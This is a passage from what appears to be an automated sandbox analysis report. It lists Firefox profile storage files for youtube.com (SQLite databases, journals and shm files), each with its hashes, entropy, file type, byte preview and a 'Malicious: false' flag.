Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.14095935154601877
Encrypted:	false
SSDEEP:	3:7FEG2l+jdtFllkpMRgSWbNFl/sl+ltlsl8lcWllr:7+/lahg9bNFlEs1E0cC
MD5:	A13C90CA777100A1CD69490513967725
SHA1:	0DD235A3AC28869735875231A288378C37D5D3EA
SHA-256:	C2A8ABAA0C57FD115E43946D3D2726F67E6C8763B4E25B1D997749CB211A4C2A
SHA-512:	293668C1E617F9398428DAEDB6B3B9BF5266BA2000AD7F5190DEE83D270DB2422A4DBC11521E612F3F220A51887C4C1708602F14B4E2305D622C7170D6A47A0B
Malicious:	false
Reputation:	unknown
Preview:	.... .c......{......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\1626312202yCt7-%iCt7-%r3efsdp9o.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03840642078542733
Encrypted:	false
SSDEEP:	6:G4lcl/+u4BYKJ4lcl/+u4BYKM9X8qUE/:lU2uDU2unF
MD5:	7C1A34378736140CD13EA80AC483C5A2
SHA1:	9AA0301877B4DB3143870D101387E0F84494461C
SHA-256:	88E7F23E376C63588D618CF0B1BF5EABE2B62394658EC4DF864B2412A42CF4E2
SHA-512:	1B476DD9A4B3C16C982F1C0CECBC72406AF013019A9EC70FC72FF9A6063D0025A915C9E9CEEA850C887D316BD36C806EC109BD3E9D18B16027F5FE11DF9F0202
Malicious:	false
Reputation:	unknown
Preview:	..-..............................9....R....B.>J..-..............................9....R....B.>J........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\2171031483YattIedMb.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 416, last written using SQLite version 3042000, writer version 2, read version 2, file counter 3, database pages 11, cookie 0xd, schema 4, largest root page 11, UTF-8, vacuum mode 1, version-valid-for 3
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.9867290516710217
Encrypted:	false
SSDEEP:	96:j16S6CKnqlizbxV+2xVeU7X2B04EkzfmqyG2h6C3z7De:j16S6CdFAW/zuqyG2h6C3z7De
MD5:	A60E24ADBB3FD6BF2FAF409F692C969C
SHA1:	4420EAA870CFBFECD75239083C82B72FCBF41B89
SHA-256:	E429D141B3D8E22599A3DBF21506B28097B5F26F3D36AEF7FF4C6A269601A60D
SHA-512:	BDC044480173636A7B2244398A0DD3B2C99D2BE60D234E93C04B445A4F47881F8746C3C2A74B25491F698114B100AE2E130D74594625BF1F0C333C126BEC7FAB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j............;.......[..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-...3....triggerfile_update_triggerfileCREATE TRIGGER file_update_trigger AFTER UPDATE ON file FOR EACH ROW WHEN NEW.refcount = 0 BEGIN DELETE FROM file WHERE id = OLD.id; END.Y...A#..Ytriggerobject_data_delete

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\2171031483YattIedMb.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.13873246456720748
Encrypted:	false
SSDEEP:	3:7FEG2l+8jr/ntFllkpMRgSWbNFl/sl+ltlsl8lcWllA:7+/lDjrvg9bNFlEs1E0cp
MD5:	EFB35A29BFEDA1C223A4DFB33B679B16
SHA1:	9C200094163E691AE99AA3F127A70DD0BB5C4C6C
SHA-256:	C0A03F954DA2635DF0C6FD4499F16E95ADE24CF80045586C563C01F5DFB9363F
SHA-512:	F5680BBA2B1C9F32368FF83BA9452D4CB282909901B1B09FA5446E665378A5F7D467F49B62FDF0A0B44D667B20171756A28186ACE43A0323CA73E241D2F936EF
Malicious:	false
Reputation:	unknown
Preview:	.... .c............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\2171031483YattIedMb.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.034573009723468
Encrypted:	false
SSDEEP:	3:Gtl9tplEnPadmMnfPl9tplEnPadmMn0tZR9//pOl:GtEs1nfPEs1nQ9Xg
MD5:	62EBD3E1A108A965BE4F622AFF008CEE
SHA1:	85FB1804E2C7877B0EC38485BCC4BE0B7ADE75F4
SHA-256:	F06F82F9BD22228EA269109DCF80A027A320FB2490E4A7DA5EBAA8F055CD7607
SHA-512:	7FB4A34BD37A6404A5BC3E1A431CBDB4DC10B94A317599D4512E4185C445A662767A00E54F59FA5E2030A93A2304C7118B04179D2DC35A6B9C5C99DA6858F31C
Malicious:	false
Reputation:	unknown
Preview:	..-.....................J7].K.\|SP.'?..0)..wCh.E)..-.....................J7].K.\|SP.'?..0)..wCh.E)........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\2232182701SeesravbiacteaWDosrgk.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 416, last written using SQLite version 3042000, writer version 2, read version 2, file counter 3, database pages 11, cookie 0xd, schema 4, largest root page 11, UTF-8, vacuum mode 1, version-valid-for 3
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7706470497226963
Encrypted:	false
SSDEEP:	48:T/OA65g7LV6CM5znpgBlizb5pxVgnO9zxV+LU7mY2wzY5QcEVdyEg8H:j16S6CKnqlizbxV+2xVeU7X2B0g
MD5:	49C1A59EF0EB7A7FA2DCEF7C095C38AC
SHA1:	14D6AC5D0DB9C4F83AB4ADC21FD744DADE95F695
SHA-256:	3F1ED3AD2117EE1C5822CCC9075CBA23A619CB1CC10DC9B5F0E483AD0CA51959
SHA-512:	8BDDBD2E86A4DCF60A7C625447D405EF8A35D22C676714FF9D3142FA5BC0F3C60F4870FCC5CF572600D4A4AD8F0C69317D9C97E777EB0E93EFFFDEBDB852F3EC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j............;.......[..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-...3....triggerfile_update_triggerfileCREATE TRIGGER file_update_trigger AFTER UPDATE ON file FOR EACH ROW WHEN NEW.refcount = 0 BEGIN DELETE FROM file WHERE id = OLD.id; END.Y...A#..Ytriggerobject_data_delete

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\2232182701SeesravbiacteaWDosrgk.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.1403625388289123
Encrypted:	false
SSDEEP:	3:7FEG2l+61w/dtFllkpMRgSWbNFl/sl+ltlsl8lcWll/R:7+/lF1wJg9bNFlEs1E0cU
MD5:	FAE08255FF3930F059D7B3FC927FAC83
SHA1:	6842E6AF7B1BB73C4B1A24EAB5920D6944E61608
SHA-256:	F35381D2253211B4B76351077D8C0B24853593651DB3D7DB9488AB9F1D222825
SHA-512:	566D69F3FB3FD3D6916E8F38A70A9C4E8B0517DD53DBD19646901D54EE15E32654B3CBCDE973A66FD861F4BD903D0F8ED0C218BD33C9BB7E98EADCA2D2BD0DD9
Malicious:	false
Reputation:	unknown
Preview:	.... .c......1......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\2232182701SeesravbiacteaWDosrgk.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.036059787091151665
Encrypted:	false
SSDEEP:	3:Gtl9tplgyv4Ppgl9tplgyv4PpHR9//1l/t2lfl:Gtm84mm84f9X1l/0
MD5:	0BE2DB4BB89D3AA37D7313B20282F12F
SHA1:	F9F79B745F8E5D56999867C176E25074C797A0B3
SHA-256:	4B8C43F7D6E05E7BFE40750D27D22574B9C85A5497A5786E4CA8CB3FBAEB51BA
SHA-512:	50BA7FF75F918ACC51E9D49584C0955B80EB1274EB1665490F32CAE41E8768BDCDC138389B068705AC6B10AA9921C1CC2F9CAE7BB7103BDDB2868E69FDCF8CE5
Malicious:	false
Reputation:	unknown
Preview:	..-.....................B\...>!N.J....B..I}......-.....................B\...>!N.J....B..I}............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3009609713yCt7-%iCd7b%-3pfrde9f.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 416, last written using SQLite version 3042000, writer version 2, read version 2, file counter 3, database pages 11, cookie 0xd, schema 4, largest root page 11, UTF-8, vacuum mode 1, version-valid-for 3
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8153223122362995
Encrypted:	false
SSDEEP:	96:j16S6CKnqlizbxV+2xVeU7X2B0yZ6AV7v0:j16S6CdFAWPp
MD5:	3366F6EB01A17E50760FC242AC2E391A
SHA1:	851752124C8B0131D283CC3B045EE1F6A1AEE3B3
SHA-256:	C245E5EDC9D6CC39B7E314D3A93E53DB00FAF257B5DBAEFD4D22D5890E74B6A3
SHA-512:	5CF7B72A78601E3D095915F6E1C5174CFF5676C9861551BC0072EBD7AE11B5E4161EBB13093551DC9E74BACC8F7F3EFBB8AF230C2142B7B87B3915434C435C1B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j............;.......[..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-...3....triggerfile_update_triggerfileCREATE TRIGGER file_update_trigger AFTER UPDATE ON file FOR EACH ROW WHEN NEW.refcount = 0 BEGIN DELETE FROM file WHERE id = OLD.id; END.Y...A#..Ytriggerobject_data_delete

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3009609713yCt7-%iCd7b%-3pfrde9f.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.13965045986924962
Encrypted:	false
SSDEEP:	3:7FEG2l+lHtFllkpMRgSWbNFl/sl+ltlsl8lcWlln:7+/lOg9bNFlEs1E0cC
MD5:	3847C535F408B2FBDC8061CAF28F3F22
SHA1:	4B281E31F74F7AD7524A11C6BD9769086015EB5F
SHA-256:	C5B4C7392A58011EF829FAAFA4425CDD95BEF69978E9309C237C1ECD31B84C4C
SHA-512:	5B48589B2AADB64D833AFEA6A19DA7C790A48D2E10DA65EF557184D183D3645A37818553956401C0943F073CC82E5151151111404E099B8394F725F3C2A82CCB
Malicious:	false
Reputation:	unknown
Preview:	.... .c......[. ....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3009609713yCt7-%iCd7b%-3pfrde9f.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03551839752036187
Encrypted:	false
SSDEEP:	3:GHlUtpl/5vWk+xdlUtpl/5vWk+YR9//mllelfl:GqBWgBWs9XSE
MD5:	91B65E53307D636DEC1926DC3A3FA9FA
SHA1:	8E2A225613EB98950A8270A82FF336FC694F47C2
SHA-256:	F7B3D5F98E1ECC76FD2684782C9EBC0B5264E800821563695D32EF7CCA98773A
SHA-512:	A756B422768BA0B3B594B9F0C4DFC9D7D41FA6D9BA2235AB4E2036897CA5A78A722D99F021D16A800529D491E208EC4C178ADCA0D190A2825378F2B045E44032
Malicious:	false
Reputation:	unknown
Preview:	..-.....................@%.....0%.8j....(.q.....-.....................@%.....0%.8j....(.q...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3055379122PCe7r%sCi7s%t3efndt9E.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 416, last written using SQLite version 3042000, writer version 2, read version 2, file counter 3, database pages 11, cookie 0xd, schema 4, largest root page 11, UTF-8, vacuum mode 1, version-valid-for 3
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.800106683355503
Encrypted:	false
SSDEEP:	96:j16S6CKnqlizbxV+2xVeU7X2B0TZ2TIw:j16S6CdFAW8I
MD5:	96E4FE2A10F552E3D1BF931611448A14
SHA1:	3A55FF1ECB3A6DBAED89814464C89FE2BAC2C920
SHA-256:	7CBB78E87F362E50C8086619CD5E505E16A0519389A4B78920B2F521CB055DD6
SHA-512:	70D1D60681274A28D41A5BB8A60D7225587234ED9711D0D4DB04B5A87AB7870AF8DC00293E545B6392002084A79984AE2AEB6C0DD1469AA0FC066A980B8DD309
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j............;.......[..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-...3....triggerfile_update_triggerfileCREATE TRIGGER file_update_trigger AFTER UPDATE ON file FOR EACH ROW WHEN NEW.refcount = 0 BEGIN DELETE FROM file WHERE id = OLD.id; END.Y...A#..Ytriggerobject_data_delete

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3055379122PCe7r%sCi7s%t3efndt9E.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.1403625388289123
Encrypted:	false
SSDEEP:	3:7FEG2l+VL9lntFllkpMRgSWbNFl/sl+ltlsl8lcWllVp:7+/l2g9bNFlEs1E0cyp
MD5:	E1F223F4F5475A5C29F054533686273B
SHA1:	3F5C1D2E9AF2CF29AFCEA36BE9CB633AD36D6F63
SHA-256:	BFD040986A267477A87692B5106DB36DA477F2EB33C100347F02F1EDFA8E7A90
SHA-512:	E41607004A5C3AADF591C7E3BD6F9422BC60CECB6C34EBF2003749E0741BE4340417505824947FCDBFB0472D2C828E7AB418F1CAC67033148643ED8E5D7D8B88
Malicious:	false
Reputation:	unknown
Preview:	.... .c.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3055379122PCe7r%sCi7s%t3efndt9E.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3136054829LCo7g%sCD7a%t3afbda9s.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 416, last written using SQLite version 3042000, writer version 2, read version 2, file counter 3, database pages 11, cookie 0xd, schema 4, largest root page 11, UTF-8, vacuum mode 1, version-valid-for 3
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7729877630201092
Encrypted:	false
SSDEEP:	48:T/OA65g7LV6CM5znpgBlizb5pxVgnO9zxV+LU7mY2wzY5QcEVdyEUkZU:j16S6CKnqlizbxV+2xVeU7X2B0pZ
MD5:	052DA82602F113818A0D6D06A3E0D302
SHA1:	068DD7C2B4D52BB688C5886F3285C4AC30D9302D
SHA-256:	9B79A2E65546600903787CAC28B0D34E440C23CB4880772619FE5C8F0F7006C4
SHA-512:	F4BB2FF3D80666E40718EA156B881259E48017FC261D55718B9263407F8A4B231AA82870B8F0459BFDC3569C76E3B75DF5F42038013835E2632F3451871A0E9F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j............;.......[..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-...3....triggerfile_update_triggerfileCREATE TRIGGER file_update_trigger AFTER UPDATE ON file FOR EACH ROW WHEN NEW.refcount = 0 BEGIN DELETE FROM file WHERE id = OLD.id; END.Y...A#..Ytriggerobject_data_delete

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3136054829LCo7g%sCD7a%t3afbda9s.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.14095935154601877
Encrypted:	false
SSDEEP:	3:7FEG2l+xFtFllkpMRgSWbNFl/sl+ltlsl8lcWllW4:7+/lMg9bNFlEs1E0cn4
MD5:	2FD683D0622E576424456E32E372C8A1
SHA1:	B6FF19058883FDF6C61ACADE64927A12E45C2F00
SHA-256:	2DE19210A334802D2FB4B971E6C3FDD7D9A290C043AD600265BC635A25089258
SHA-512:	D2327085735AFECC3408EDAE8CF2FD275AF6F95F439B47BDF283094FAF8CB1B7CD22946A72AB938BABEAFF6A5F8B157BF7D962EA01016D6C9598A27B820694E6
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....T.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3136054829LCo7g%sCD7a%t3afbda9s.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03569845533682581
Encrypted:	false
SSDEEP:	3:Gtl9tplgi2KzE61l9tplgi2KzENR9//1l/t2lfl:Gt720Ee720En9X1l/0
MD5:	E11A4C1BD608608CA0C80EA5514F1DAB
SHA1:	FCD29B814B5E8EFE967F26F924960CE2F9023773
SHA-256:	D6EE8044424E7F546DFA0B00F95D6734D7FD624FAC58E67E0CB5FE0B3DB5CA52
SHA-512:	097B9D77EA738F1D3BAF947F21B7289C9CED8B18236B8FC1B2383CE5A696D9E34287060D8BC1ADF6155BF3729184DB1234276D94AC2D16D034886BB1CFDE6570
Malicious:	false
Reputation:	unknown
Preview:	..-.....................?..3.qiY&....5.s.!....;..-.....................?..3.qiY&....5.s.!....;........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3651887089yCt7G%cCf7C%o3nffdi9g.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 416, last written using SQLite version 3042000, writer version 2, read version 2, file counter 4, database pages 13, cookie 0xd, schema 4, largest root page 11, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	1.4753283151940093
Encrypted:	false
SSDEEP:	96:116S6CKnqlizbxV+2xVeU7X2B0G2ZkXcw1epQbtx+Cqnv8ts2BPmi0s9oyiP0iSG:116S6CdFAWn2QaIs2BBCHOZ0CHOZ
MD5:	000048397290F69B465992830E4A7EDC
SHA1:	A9E4FC17474868CE18F0F17E41039FA3833C1481
SHA-256:	9D4557A9016B6E66A016129C778C3BE862D2A4C29C44D739C619B5FBD870DBFF
SHA-512:	188FB27B0140A95141016413C4522A73123F710F866D503ED77F8E692D0C01C05F3B5044BF5AB31F2B0A15B3448B8E9EEFED2B1ECDB2FE2A2344EDF0D51BA59F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j............;.......[..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-...3....triggerfile_update_triggerfileCREATE TRIGGER file_update_trigger AFTER UPDATE ON file FOR EACH ROW WHEN NEW.refcount = 0 BEGIN DELETE FROM file WHERE id = OLD.id; END.Y...A#..Ytriggerobject_data_delete

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3651887089yCt7G%cCf7C%o3nffdi9g.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.14095935154601877
Encrypted:	false
SSDEEP:	3:7FEG2l+09tFllkpMRgSWbNFl/sl+ltlsl8lcWlle:7+/lJg9bNFlEs1E0cP
MD5:	7D08F0B8D4D91EBBD689C31AB309F23F
SHA1:	C33FDDB1DDAAB848A919C267E84A671A061A582D
SHA-256:	87F0BFA4A2CEAD63B3E93526EAD0FF0BA2D4E1D551B9211D41FD6F2756B6B134
SHA-512:	B412F45781385CD17E878DA194D3D902493620D9258FA1A4C49A8E2ACA5F0578722205137EA8A48914D952188DEAE4E4C15F380EF175AD14F0429E94055DA29C
Malicious:	false
Reputation:	unknown
Preview:	.... .c...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\3651887089yCt7G%cCf7C%o3nffdi9g.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03731898915283028
Encrypted:	false
SSDEEP:	3:GolUtolsPFOUwI/ilUtolsPFOUallxR9//Ulll+l0lflCll:G4ZlsPF8I/GZlsPF2/r9X8Cc
MD5:	9D3F7DE9544993920F54CBA9BAB7E580
SHA1:	E29EE2E01857F66FB7177E77325F73F0F2581F3A
SHA-256:	0AF947802DF6FAE7F58E48662C6947AEA546E61E0F44316ACF3A318B6D57F51C
SHA-512:	559E5BAAC23DCFDE1394FC676986B5569133548E9CF75A2A304ECDD8FBA2FB660ECA4D2BAD4244FFA25BC773CB9ECD41837FF723902C7C804F96A80FBA489EB7
Malicious:	false
Reputation:	unknown
Preview:	..-.......................e.}....g5S.....6.......-.......................e.}....g5S.....6.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\ls\data.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 80, last written using SQLite version 3042000, page size 1024, file counter 6, database pages 5, cookie 0x2, schema 4, largest root page 5, UTF-8, vacuum mode 1, version-valid-for 6
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	1.8829994810055624
Encrypted:	false
SSDEEP:	12:HLyEuNGdi6EreqJckULybIHwqeGbeOgyn3uKGZhpyhU5i93ekKO/ZrzKkCEMDQPv:r36iiEjEVdySZhs53ZKStTy/yBmKtV
MD5:	2BADD7BC68D608C0699E71995136EC7B
SHA1:	33C85CC9416A204C8498A963D38440BA15A8CCE6
SHA-256:	41F62EB2622D8B82C5FB818A03A21A3F73910FE709ACFBCE33645B4688A72E21
SHA-512:	1F4A424C802C7D7476AAA49DE7F6EB0B5031B5F85417488FCAD57D0A2A04939B7982868C770EDF33A68724E09DF93B15D99A18F12FA8D19670814D85238EF53F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......................................P..................................j.................................................................................................................................................................................................................................................................................................................................................................................................................c.......)tabledatadata.CREATE TABLE data( key TEXT PRIMARY KEY, utf16_length INTEGER NOT NULL, conversion_type INTEGER NOT NULL, compression_type INTEGER NOT NULL, last_access_time INTEGER NOT NULL DEFAULT 0, value BLOB NOT NULL)'...;...indexsqlite_autoindex_data_1data..........s.......9tabledatabasedatabase.CREATE TABLE database( origin TEXT NOT NULL, usage INTEGER NOT NULL DEFAULT 0, last_vacuum_time INTEGER NOT NULL DEFAULT 0, last_analyze_time INTEGER NOT NULL DEFAULT 0, last_vacuum_size INT

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\ls\data.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4640
Entropy (8bit):	2.2266962282943417
Encrypted:	false
SSDEEP:	12:7+t7nsB/ZrZMVkKO/ZrzKkCEMDQPeDuhsuKG3hV+LW+EDNGdi6EreqJckULybIH1:7+t7KthKStTy/ypRV8H6iiEjEVdyR
MD5:	D2975FD6608198FA3FF02217A8441E3F
SHA1:	0F5E0DCA07194807885EA07418F55DC71641EA91
SHA-256:	FF7E01E4A4E0B9A3A8E0EF56DF58852B24BBB5E34D5C152BD95F446451AE481B
SHA-512:	6BD65E1EBD7A1332DD940ED039B8B390E605AD8CC1E034D104EFCB92666356377CB31569D33397A3E62AF7A82C47705F95CF7288479F1D39DB337063703086C4
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....3.Q........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\ls\usage

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	1.9591479170272446
Encrypted:	false
SSDEEP:	3:ll/K:6
MD5:	AEF863CFBB45F4252394F88A04F4D210
SHA1:	E7375296B4041B1F3153BAB4DB23D4A3B4699C2D
SHA-256:	B5A0583C62BF5CF2B26291FD11A27FBE6E4820EF381044BB38C851818BC0ABCB
SHA-512:	3F8B8227BDC75C3D0738CA485EA01D5DDC8055BC3102568BFE62E40999CB98D3487021B473EAA22FE961E6B9CF8298953E897D226050973750A8296B2B663B9A
Malicious:	false
Reputation:	unknown
Preview:	B.B.........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.02036431332101122
Encrypted:	false
SSDEEP:	3:G8lAFiAJ9HYElAFiAJllXZR9//:G0SJ94MSJlR9X
MD5:	6D1D0890009A3628334D91AE7F7DD7F4
